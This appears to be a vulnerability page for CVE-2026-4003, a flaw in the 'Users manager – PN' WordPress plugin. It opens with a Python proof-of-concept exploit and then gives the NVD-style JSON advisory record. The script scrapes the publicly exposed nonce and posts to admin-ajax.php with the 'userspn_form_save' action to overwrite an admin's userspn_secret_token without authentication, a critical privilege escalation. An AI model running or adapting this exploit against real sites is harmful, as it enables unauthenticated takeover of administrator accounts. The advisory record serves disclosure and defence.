CVE-2026-4003

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" target_user_id = "1" # Usually admin # Step 1: Retrieve the exposed nonce from the page source # The nonce is usually exposed in a localized script object page_source = requests.get("http://example.com/").text # In a real scenario, parse via regex, here assuming we found it nonce = "extracted_nonce_value_from_page_source" # Step 2: Construct the payload to update user meta payload = { "action": "userspn_form_save", "user_id": target_user_id, "userspn_secret_token": "attacker_controlled_token_value", "userspn-nonce": nonce } # Step 3: Send the exploit request response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Exploit sent successfully. User meta potentially updated.") else: print("[-] Request failed.")

{"cve": {"id": "CVE-2026-4003", "sourceIdentifier": "[email protected]", "published": "2026-04-08T05:16:06.347", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Users manager – PN plugin for WordPress is vulnerable to Privilege Escalation via Arbitrary User Meta Update in all versions up to and including 1.1.15. This is due to a flawed authorization logic check in the userspn_ajax_nopriv_server() function within the 'userspn_form_save' case. The conditional only blocks unauthenticated users when the user_id is empty, but when a non-empty user_id is supplied, execution bypasses this check entirely and proceeds to update arbitrary user meta via update_user_meta() without any authentication or authorization verification. Additionally, the nonce required for this AJAX endpoint ('userspn-nonce') is exposed to all visitors via wp_localize_script on the public wp_enqueue_scripts hook, rendering the nonce check ineffective as a security control. This makes it possible for unauthenticated attackers to update arbitrary user metadata for any user account, including the userspn_secret_token field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/userspn/tags/1.0.31/includes/class-userspn-ajax-nopriv.php#L186", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/tags/1.0.31/includes/class-userspn-ajax-nopriv.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/tags/1.0.31/includes/class-userspn-ajax-nopriv.php#L233", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/tags/1.0.31/includes/class-userspn-common.php#L168", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/tags/1.0.31/includes/class-userspn-functions-user.php#L235", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-ajax-nopriv.php#L186", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-ajax-nopriv.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-ajax-nopriv.php#L233", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-common.php#L168", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-functions-user.php#L235", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3491109%40userspn&new=3491109%40userspn&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/27bb60c1-43fa-4a18-b9ca-059535b0d5b6?source=cve", "source": "[email protected]"}]}}